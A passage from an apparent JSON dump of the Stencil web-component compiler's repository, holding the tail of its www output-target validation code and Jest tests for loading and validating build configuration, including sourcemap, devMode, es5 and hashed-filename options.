err.messageText = `You need at least one \"www\" output target configured in your stencil.config.ts, when the \"--prerender\" flag is used`;\n  }\n\n  return userWwwOutputs.reduce(\n    (\n      outputs: (d.OutputTargetWww | d.OutputTargetDistLazy | d.OutputTargetCopy | d.OutputTargetDistGlobalStyles)[],\n      o,\n    ) => {\n      const outputTarget = validateWwwOutputTarget(config, o, diagnostics);\n      outputs.push(outputTarget);\n\n      // Add dist-lazy output target\n      const buildDir = outputTarget.buildDir;\n      outputs.push({\n        type: DIST_LAZY,\n        dir: buildDir,\n        esmDir: buildDir,\n        systemDir: config.buildEs5 ? buildDir : undefined,\n        systemLoaderFile: config.buildEs5 ? join(buildDir, `${config.fsNamespace}.js`) : undefined,\n        polyfills: outputTarget.polyfills,\n        isBrowserBuild: true,\n      });\n\n      // Copy for dist\n      outputs.push({\n        type: COPY,\n        dir: buildDir,\n        copyAssets: 'dist',\n      });\n\n      // Copy for www\n      outputs.push({\n        type: COPY,\n        dir: outputTarget.appDir,\n        copy: validateCopy(outputTarget.copy, [\n          { src: 'assets', warn: false },\n          { src: 'manifest.json', warn: false },\n        ]),\n      });\n\n      // Generate global style with original name\n      outputs.push({\n        type: DIST_GLOBAL_STYLES,\n        file: join(buildDir, `${config.fsNamespace}.css`),\n      });\n\n      return outputs;\n    },\n    [],\n  );\n};\n\nconst validateWwwOutputTarget = (\n  config: d.ValidatedConfig,\n  outputTarget: d.OutputTargetWww,\n  diagnostics: d.Diagnostic[],\n) => {\n  if (!isString(outputTarget.baseUrl)) {\n    outputTarget.baseUrl = '/';\n  }\n\n  if (!outputTarget.baseUrl.endsWith('/')) {\n    // Make sure the baseUrl always finish with \"/\"\n    outputTarget.baseUrl += '/';\n  }\n\n  outputTarget.dir = getAbsolutePath(config, outputTarget.dir || 'www');\n\n  // Fix \"dir\" to account\n  const pathname = new URL(outputTarget.baseUrl, 'http://localhost/').pathname;\n  outputTarget.appDir = join(outputTarget.dir, pathname);\n  if (outputTarget.appDir.endsWith('/') || outputTarget.appDir.endsWith('\\\\')) {\n    outputTarget.appDir = outputTarget.appDir.substring(0, outputTarget.appDir.length - 1);\n  }\n\n  if (!isString(outputTarget.buildDir)) {\n    outputTarget.buildDir = 'build';\n  }\n\n  if (!isAbsolute(outputTarget.buildDir)) {\n    outputTarget.buildDir = join(outputTarget.appDir, outputTarget.buildDir);\n  }\n\n  if (!isString(outputTarget.indexHtml)) {\n    outputTarget.indexHtml = 'index.html';\n  }\n\n  if (!isAbsolute(outputTarget.indexHtml)) {\n    outputTarget.indexHtml = join(outputTarget.appDir, outputTarget.indexHtml);\n  }\n\n  if (!isBoolean(outputTarget.empty)) {\n    outputTarget.empty = true;\n  }\n\n  validatePrerender(config, diagnostics, outputTarget);\n  validateServiceWorker(config, outputTarget);\n\n  if (outputTarget.polyfills === undefined) {\n    outputTarget.polyfills = true;\n  }\n  outputTarget.polyfills = !!outputTarget.polyfills;\n\n  return outputTarget;\n};\n"
  },
  {
    "path": "src/compiler/config/test/fixtures/stencil.config.ts",
    "content": "import { Config } from '../../../../declarations';\n\nexport const config: Config = {\n  hashedFileNameLength: 13,\n};\n"
  },
  {
    "path": "src/compiler/config/test/fixtures/stencil.config2.ts",
    "content": "import { Config } from '../../../../declarations';\n\nexport const config: Config = {\n  hashedFileNameLength: 27,\n  flags: {\n    dev: true,\n  },\n  extras: {\n    enableImportInjection: true,\n  },\n};\n"
  },
  {
    "path": "src/compiler/config/test/load-config.spec.ts",
    "content": "import { mockCompilerSystem } from '@stencil/core/testing';\nimport path from 'path';\nimport ts from 'typescript';\n\nimport { ConfigFlags } from '../../../cli/config-flags';\nimport type * as d from '../../../declarations';\nimport { normalizePath } from '../../../utils';\nimport { loadConfig } from '../load-config';\n\ndescribe('load config', () => {\n  const configPath = require.resolve('./fixtures/stencil.config.ts');\n  const configPath2 = require.resolve('./fixtures/stencil.config2.ts');\n\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    sys = mockCompilerSystem();\n\n    jest.spyOn(ts, 'getParsedCommandLineOfConfigFile').mockReturnValue({\n      options: {\n        target: ts.ScriptTarget.ES2017,\n        module: ts.ModuleKind.ESNext,\n      },\n      fileNames: [],\n      errors: [],\n    });\n  });\n\n  afterEach(() => {\n    jest.clearAllMocks();\n  });\n\n  it(\"merges a user's configuration with a stencil.config file on disk\", async () => {\n    const loadedConfig = await loadConfig({\n      configPath: configPath2,\n      sys,\n      config: {\n        hashedFileNameLength: 9,\n        rootDir: '/foo/bar',\n      },\n      initTsConfig: true,\n    });\n\n    expect(loadedConfig.diagnostics).toHaveLength(0);\n\n    const actualConfig = loadedConfig.config;\n    // this field is defined on the `init` argument, and should override the value found in the config on disk\n    expect(actualConfig).toBeDefined();\n    expect(actualConfig.hashedFileNameLength).toEqual(9);\n    // these fields are defined in the config file on disk, and should be present\n    expect<ConfigFlags>(actualConfig.flags).toEqual({ dev: true });\n    expect(actualConfig.extras).toBeDefined();\n    expect(actualConfig.extras!.enableImportInjection).toBe(true);\n    // respects custom root dir\n    expect(actualConfig.rootDir).toBe('/foo/bar');\n  });\n\n  it('uses the provided config path when no initial config provided', async () => {\n    const loadedConfig = await loadConfig({\n      configPath,\n      sys,\n      initTsConfig: true,\n    });\n\n    expect(loadedConfig.diagnostics).toHaveLength(0);\n\n    const actualConfig = loadedConfig.config;\n    expect(actualConfig).toBeDefined();\n    // set the config path based on the one provided in the init object\n    expect(actualConfig.configPath).toBe(normalizePath(configPath));\n    // this field is defined in the config file on disk, and should be present\n    expect(actualConfig.hashedFileNameLength).toBe(13);\n    // this field should default to an empty object literal, since it wasn't present in the config file\n    expect<ConfigFlags>(actualConfig.flags).toEqual({});\n  });\n\n  describe('empty initialization argument', () => {\n    it('provides sensible default values with no config', async () => {\n      const loadedConfig = await loadConfig({ initTsConfig: true, sys });\n\n      const actualConfig = loadedConfig.config;\n      expect(actualConfig).toBeDefined();\n      expect(actualConfig.sys).toBeDefined();\n      expect(actualConfig.logger).toBeDefined();\n      expect(actualConfig.configPath).toBe(null);\n    });\n\n    it('creates a tsconfig file when \"initTsConfig\" set', async () => {\n      const tsconfigPath = path.resolve(path.dirname(configPath), 'tsconfig.json');\n      expect(sys.accessSync(tsconfigPath)).toBe(false);\n      const loadedConfig = await loadConfig({ initTsConfig: true, configPath, sys });\n      expect(sys.accessSync(tsconfigPath)).toBe(true);\n      expect(loadedConfig.diagnostics).toHaveLength(0);\n    });\n\n    it('errors that a tsconfig file could not be created when \"initTsConfig\" isn\\'t present', async () => {\n      const loadedConfig = await loadConfig({ configPath, sys });\n      expect(loadedConfig.diagnostics).toHaveLength(1);\n      expect<d.Diagnostic>(loadedConfig.diagnostics[0]).toEqual({\n        absFilePath: undefined,\n        header: 'Missing tsconfig.json',\n        level: 'error',\n        lines: [],\n        messageText: `Unable to load TypeScript config file. Please create a \"tsconfig.json\" file within the \"${normalizePath(\n          path.dirname(configPath),\n        )}\" directory.`,\n        relFilePath: undefined,\n        type: 'build',\n      });\n    });\n  });\n\n  describe('no initialization argument', () => {\n    it('errors that a tsconfig file cannot be found', async () => {\n      const loadConfigResults = await loadConfig({ sys });\n      expect(loadConfigResults.diagnostics).toHaveLength(1);\n      expect<d.Diagnostic>(loadConfigResults.diagnostics[0]).toEqual({\n        absFilePath: undefined,\n        header: 'Missing tsconfig.json',\n        level: 'error',\n        lines: [],\n        messageText: expect.stringMatching(\n          `Unable to load TypeScript config file. Please create a \"tsconfig.json\" file within the`,\n        ),\n        relFilePath: undefined,\n        type: 'build',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/config/test/validate-config-sourcemap.spec.ts",
    "content": "import { mockCompilerSystem, mockLoadConfigInit } from '@stencil/core/testing';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { loadConfig } from '../load-config';\nimport { validateConfig } from '../validate-config';\n\ndescribe('stencil config - sourceMap option', () => {\n  const configPath = require.resolve('./fixtures/stencil.config.ts');\n  let sys = mockCompilerSystem();\n\n  /**\n   * Test helper for generating default `d.LoadConfigInit` objects.\n   *\n   * This function assumes the fields in the enclosing scope have been initialized.\n   * @param overrides the properties on the default `d.LoadConfigInit` entity to manually override\n   * @returns the default configuration initialization object, with any overrides applied\n   */\n  const getLoadConfigForTests = (overrides?: Partial<d.LoadConfigInit>): d.LoadConfigInit => {\n    const defaults: d.LoadConfigInit = {\n      configPath,\n      sys: sys as any,\n      config: {},\n      initTsConfig: true,\n    };\n\n    return mockLoadConfigInit({ ...defaults, ...overrides });\n  };\n\n  /**\n   * Test helper for mocking the {@link ts.getParsedCommandLineOfConfigFile} function. This function returns the appropriate\n   * `options` object based on the `sourceMap` argument.\n   *\n   * @param sourceMap The `sourceMap` option from the Stencil config.\n   */\n  const mockTsConfigParser = (sourceMap: boolean) => {\n    jest.spyOn(ts, 'getParsedCommandLineOfConfigFile').mockReturnValue({\n      options: {\n        target: ts.ScriptTarget.ES2017,\n        module: ts.ModuleKind.ESNext,\n        sourceMap,\n        inlineSources: sourceMap,\n      },\n      fileNames: [],\n      errors: [],\n    });\n  };\n\n  beforeEach(() => {\n    sys = mockCompilerSystem();\n  });\n\n  afterEach(() => {\n    jest.clearAllMocks();\n  });\n\n  it('sets sourceMap to true when explicitly set to true', async () => {\n    const userConfig: d.UnvalidatedConfig = { sourceMap: true };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(true);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(true);\n    expect(inlineSources).toBe(true);\n  });\n\n  it('sets sourceMap to false when explicitly set to false', async () => {\n    const userConfig: d.UnvalidatedConfig = { sourceMap: false };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(false);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(false);\n    expect(inlineSources).toBe(false);\n  });\n\n  it('defaults to \"dev\" behavior (false in prod mode)', async () => {\n    const userConfig: d.UnvalidatedConfig = { devMode: false };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(false);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(false);\n    expect(inlineSources).toBe(false);\n  });\n\n  it('defaults to \"dev\" behavior (true in dev mode)', async () => {\n    const userConfig: d.UnvalidatedConfig = { devMode: true };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(true);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(true);\n    expect(inlineSources).toBe(true);\n  });\n\n  it('resolves \"dev\" to true when devMode is true', async () => {\n    const userConfig: d.UnvalidatedConfig = { sourceMap: 'dev', devMode: true };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(true);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(true);\n    expect(inlineSources).toBe(true);\n  });\n\n  it('resolves \"dev\" to false when devMode is false', async () => {\n    const userConfig: d.UnvalidatedConfig = { sourceMap: 'dev', devMode: false };\n    const { config: validatedConfig } = validateConfig(userConfig, {});\n    expect(validatedConfig.sourceMap).toBe(false);\n\n    mockTsConfigParser(validatedConfig.sourceMap);\n    const testConfig = getLoadConfigForTests({ config: userConfig });\n    const loadConfigResults = await loadConfig(testConfig);\n\n    const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions;\n    expect(sourceMap).toBe(false);\n    expect(inlineSources).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-config.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing';\nimport { DOCS_CUSTOM, DOCS_JSON, DOCS_README, DOCS_VSCODE } from '@utils';\n\nimport { createConfigFlags } from '../../../cli/config-flags';\nimport { isWatchIgnorePath } from '../../fs-watch/fs-watch-rebuild';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validation', () => {\n  let userConfig: d.UnvalidatedConfig;\n  let bootstrapConfig: d.LoadConfigInit;\n  const logger = mockLogger();\n  const sys = mockCompilerSystem();\n\n  beforeEach(() => {\n    userConfig = {\n      sys: sys,\n      logger: logger,\n      rootDir: '/User/some/path/',\n      namespace: 'Testing',\n    };\n    bootstrapConfig = mockLoadConfigInit();\n  });\n\n  describe('caching', () => {\n    it('should cache the validated config between calls if the same config is passed back in', () => {\n      const { config } = validateConfig(userConfig, {});\n      const { config: secondRound } = validateConfig(config, {});\n      // we should have object identity\n      expect(config === secondRound).toBe(true);\n      // objects should be deepEqual as well\n      expect(config).toEqual(secondRound);\n    });\n\n    it('should bust the cache if a different config is supplied than the cached one', () => {\n      // validate once, caching that result\n      const { config } = validateConfig(userConfig, {});\n      // pass a new initial configuration\n      const { config: secondRound } = validateConfig({ ...userConfig }, {});\n      // shouldn't have object equality with the earlier one\n      expect(config === secondRound).toBe(false);\n    });\n  });\n\n  describe('flags', () => {\n    it('adds a default \"flags\" object if none is provided', () => {\n      userConfig.flags = undefined;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.flags).toEqual({});\n    });\n\n    it('serializes a provided \"flags\" object', () => {\n      userConfig.flags = createConfigFlags({ dev: false });\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.flags).toEqual(createConfigFlags({ dev: false }));\n    });\n\n    describe('devMode', () => {\n      it('defaults \"devMode\" to false when \"flag.prod\" is truthy', () => {\n        userConfig.flags = createConfigFlags({ prod: true });\n        const { config } = validateConfig(userConfig, bootstrapConfig);\n        expect(config.devMode).toBe(false);\n      });\n\n      it('defaults \"devMode\" to true when \"flag.dev\" is truthy', () => {\n        userConfig.flags = createConfigFlags({ dev: true });\n        const { config } = validateConfig(userConfig, bootstrapConfig);\n        expect(config.devMode).toBe(true);\n      });\n\n      it('defaults \"devMode\" to false when \"flag.prod\" & \"flag.dev\" are truthy', () => {\n        userConfig.flags = createConfigFlags({ dev: true, prod: true });\n        const { config } = validateConfig(userConfig, bootstrapConfig);\n        expect(config.devMode).toBe(false);\n      });\n\n      it('sets \"devMode\" to false if the user provided flag isn\\'t a boolean', () => {\n        // the branch under test explicitly requires a value whose type is not allowed by the type system\n        const devMode = 'not-a-bool' as unknown as boolean;\n        userConfig = { devMode };\n        const { config } = validateConfig(userConfig, bootstrapConfig);\n        expect(config.devMode).toBe(false);\n      });\n    });\n  });\n\n  describe('allowInlineScripts', () => {\n    it('set allowInlineScripts true', () => {\n      userConfig.allowInlineScripts = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.allowInlineScripts).toBe(true);\n    });\n\n    it('set allowInlineScripts false', () => {\n      userConfig.allowInlineScripts = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.allowInlineScripts).toBe(false);\n    });\n\n    it('default allowInlineScripts true', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.allowInlineScripts).toBe(true);\n    });\n  });\n\n  describe('transformAliasedImportPaths', () => {\n    it.each([true, false])('set transformAliasedImportPaths %p', (bool) => {\n      userConfig.transformAliasedImportPaths = bool;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.transformAliasedImportPaths).toBe(bool);\n    });\n\n    it('defaults `transformAliasedImportPaths` to true', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.transformAliasedImportPaths).toBe(true);\n    });\n  });\n\n  describe('suppressReservedPublicNameWarnings', () => {\n    it.each([true, false])('sets suppressReservedPublicNameWarnings to %p when provided', (bool) => {\n      userConfig.suppressReservedPublicNameWarnings = bool;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.suppressReservedPublicNameWarnings).toBe(bool);\n    });\n\n    it('defaults suppressReservedPublicNameWarnings to false', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.suppressReservedPublicNameWarnings).toBe(false);\n    });\n  });\n\n  describe('enableCache', () => {\n    it('set enableCache true', () => {\n      userConfig.enableCache = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.enableCache).toBe(true);\n    });\n\n    it('set enableCache false', () => {\n      userConfig.enableCache = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.enableCache).toBe(false);\n    });\n\n    it('default enableCache true', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.enableCache).toBe(true);\n    });\n  });\n\n  describe('buildAppCore', () => {\n    it('set buildAppCore true', () => {\n      userConfig.buildAppCore = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildAppCore).toBe(true);\n    });\n\n    it('set buildAppCore false', () => {\n      userConfig.buildAppCore = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildAppCore).toBe(false);\n    });\n\n    it('default buildAppCore true', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildAppCore).toBe(true);\n    });\n  });\n\n  describe('es5 build', () => {\n    it('set buildEs5 false', () => {\n      userConfig.buildEs5 = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(false);\n    });\n\n    it('set buildEs5 true', () => {\n      userConfig.buildEs5 = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(true);\n    });\n\n    it('set buildEs5 true, dev mode', () => {\n      userConfig.devMode = true;\n      userConfig.buildEs5 = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(true);\n    });\n\n    it('prod mode, set modern and es5', () => {\n      userConfig.devMode = false;\n      userConfig.buildEs5 = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(true);\n    });\n\n    it('build es5 when set to \"prod\" and in prod', () => {\n      userConfig.devMode = false;\n      userConfig.buildEs5 = 'prod';\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(true);\n    });\n\n    it('do not build es5 when set to \"prod\" and in dev', () => {\n      userConfig.devMode = true;\n      userConfig.buildEs5 = 'prod';\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(false);\n    });\n\n    it('prod mode default to only modern and not es5', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildEs5).toBe(false);\n    });\n  });\n\n  describe('hashed filenames', () => {\n    it('should error when hashedFileNameLength too large', () => {\n      userConfig.hashedFileNameLength = 33;\n      const validated = validateConfig(userConfig, bootstrapConfig);\n      expect(validated.diagnostics).toHaveLength(1);\n    });\n\n    it('should error when hashedFileNameLength too small', () => {\n      userConfig.hashedFileNameLength = 3;\n      const validated = validateConfig(userConfig, bootstrapConfig);\n      expect(validated.diagnostics).toHaveLength(1);\n    });\n\n    it('should set from hashedFileNameLength', () => {\n      userConfig.hashedFileNameLength = 28;\n      const validated = validateConfig(userConfig, bootstrapConfig);\n      expect(validated.config.hashedFileNameLength).toBe(28);\n    });\n\n    it('should set hashedFileNameLength', () => {\n      userConfig.hashedFileNameLength = 6;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashedFileNameLength).toBe(6);\n    });\n\n    it('should default hashedFileNameLength', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashedFileNameLength).toBe(8);\n    });\n\n    it('should default hashFileNames to false in watch mode despite prod mode', () => {\n      userConfig.watch = true;\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashFileNames).toBe(true);\n    });\n\n    it('should default hashFileNames to true in prod mode', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashFileNames).toBe(true);\n    });\n\n    it('should default hashFileNames to false in dev mode', () => {\n      userConfig.devMode = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashFileNames).toBe(false);\n    });\n\n    it.each([true, false])('should set hashFileNames when hashFileNames===%b', (hashFileNames) => {\n      userConfig.hashFileNames = hashFileNames;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashFileNames).toBe(hashFileNames);\n    });\n\n    it('should set hashFileNames from function', () => {\n      (userConfig as any).hashFileNames = () => {\n        return true;\n      };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.hashFileNames).toBe(true);\n    });\n  });\n\n  describe('minifyJs', () => {\n    it('should set minifyJs to true', () => {\n      userConfig.devMode = true;\n      userConfig.minifyJs = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyJs).toBe(true);\n    });\n\n    it('should default minifyJs to true in prod mode', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyJs).toBe(true);\n    });\n\n    it('should default minifyJs to false in dev mode', () => {\n      userConfig.devMode = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyJs).toBe(false);\n    });\n  });\n\n  describe('minifyCss', () => {\n    it('should set minifyCss to true', () => {\n      userConfig.devMode = true;\n      userConfig.minifyCss = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyCss).toBe(true);\n    });\n\n    it('should default minifyCss to true in prod mode', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyCss).toBe(true);\n    });\n\n    it('should default minifyCss to false in dev mode', () => {\n      userConfig.devMode = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.minifyCss).toBe(false);\n    });\n  });\n\n  it('should default watch to false', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.watch).toBe(false);\n  });\n\n  it('should set devMode to false', () => {\n    userConfig.devMode = false;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devMode).toBe(false);\n  });\n\n  it('should set devMode to true', () => {\n    userConfig.devMode = true;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devMode).toBe(true);\n  });\n\n  it('should default devMode to false', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devMode).toBe(false);\n  });\n\n  it.each([DOCS_JSON, DOCS_CUSTOM, DOCS_README, DOCS_VSCODE])(\n    'should not add \"%s\" output target by default',\n    (targetType) => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.outputTargets.some((o) => o.type === targetType)).toBe(false);\n    },\n  );\n\n  it('should set devInspector false', () => {\n    userConfig.devInspector = false;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devInspector).toBe(false);\n  });\n\n  it('should set devInspector true', () => {\n    userConfig.devInspector = true;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devInspector).toBe(true);\n  });\n\n  it('should default devInspector false when devMode is false', () => {\n    userConfig.devMode = false;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devInspector).toBe(false);\n  });\n\n  it('should default devInspector true when devMode is true', () => {\n    userConfig.devMode = true;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.devInspector).toBe(true);\n  });\n\n  it('should default dist false and www true', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.outputTargets.some((o) => o.type === 'dist')).toBe(false);\n    expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n  });\n\n  it('should error for invalid outputTarget type', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'whatever',\n      } as any,\n    ];\n    const validated = validateConfig(userConfig, bootstrapConfig);\n    expect(validated.diagnostics).toHaveLength(1);\n  });\n\n  it('should default outputTargets with www', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n  });\n\n  it('should set extras defaults', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.extras.appendChildSlotFix).toBe(false);\n    expect(config.extras.cloneNodeFix).toBe(false);\n    expect(config.extras.lifecycleDOMEvents).toBe(false);\n    expect(config.extras.scriptDataOpts).toBe(false);\n    expect(config.extras.slotChildNodesFix).toBe(false);\n    expect(config.extras.initializeNextTick).toBe(false);\n    expect(config.extras.tagNameTransform).toBe(false);\n    expect(config.extras.additionalTagTransformers).toBe(false);\n    expect(config.extras.scopedSlotTextContentFix).toBe(false);\n    expect(config.extras.addGlobalStyleToComponents).toBe('client');\n    expect(config.extras.additionalTagTransformers).toBe(false);\n  });\n\n  describe('extras.additionalTagTransformers', () => {\n    it('set extras.additionalTagTransformers false', () => {\n      userConfig.extras = { additionalTagTransformers: false };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(false);\n    });\n\n    it('set extras.additionalTagTransformers true', () => {\n      userConfig.extras = { additionalTagTransformers: true };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(true);\n    });\n\n    it('set extras.additionalTagTransformers true, dev mode', () => {\n      userConfig.devMode = true;\n      userConfig.extras = { additionalTagTransformers: true };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(true);\n    });\n\n    it('prod mode, set extras.additionalTagTransformers', () => {\n      userConfig.devMode = false;\n      userConfig.extras = { additionalTagTransformers: true };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(true);\n    });\n\n    it('build extras.additionalTagTransformers when set to \"prod\" and in prod', () => {\n      userConfig.devMode = false;\n      userConfig.extras = { additionalTagTransformers: 'prod' };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(true);\n    });\n\n    it('do not build extras.additionalTagTransformers when set to \"prod\" and in dev', () => {\n      userConfig.devMode = true;\n      userConfig.extras = { additionalTagTransformers: 'prod' };\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(false);\n    });\n\n    it('prod mode default to only modern and not extras.additionalTagTransformers', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.extras.additionalTagTransformers).toBe(false);\n    });\n  });\n\n  it('should set slot config based on `experimentalSlotFixes`', () => {\n    userConfig.extras = {};\n    userConfig.extras.experimentalSlotFixes = true;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.extras.appendChildSlotFix).toBe(true);\n    expect(config.extras.cloneNodeFix).toBe(true);\n    expect(config.extras.slotChildNodesFix).toBe(true);\n    expect(config.extras.scopedSlotTextContentFix).toBe(true);\n  });\n\n  it('should override slot fix config based on `experimentalSlotFixes`', () => {\n    // This test is to verify the flags get overwritten correctly even if an\n    // invalid config is ingested. Hence, the `any` cast\n    userConfig.extras = {\n      appendChildSlotFix: false,\n      slotChildNodesFix: false,\n      cloneNodeFix: false,\n      scopedSlotTextContentFix: false,\n      experimentalSlotFixes: true,\n    } as any;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.extras.appendChildSlotFix).toBe(true);\n    expect(config.extras.cloneNodeFix).toBe(true);\n    expect(config.extras.slotChildNodesFix).toBe(true);\n    expect(config.extras.scopedSlotTextContentFix).toBe(true);\n  });\n\n  it('should set extras experimentalScopedSlotChanges `true` if set in user config', () => {\n    userConfig.extras = {\n      experimentalScopedSlotChanges: true,\n    };\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.extras.experimentalScopedSlotChanges).toBe(true);\n  });\n\n  it('should set taskQueue \"async\" by default', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.taskQueue).toBe('async');\n  });\n\n  it('should set taskQueue', () => {\n    userConfig.taskQueue = 'congestionAsync';\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.taskQueue).toBe('congestionAsync');\n  });\n\n  it('empty watchIgnoredRegex, all valid', () => {\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.watchIgnoredRegex).toEqual([]);\n    expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(false);\n    expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false);\n  });\n\n  it('should change a single watchIgnoredRegex to an array', () => {\n    userConfig.watchIgnoredRegex = /\\.(gif|jpe?g|png)$/i;\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.watchIgnoredRegex).toHaveLength(1);\n    expect((config.watchIgnoredRegex as 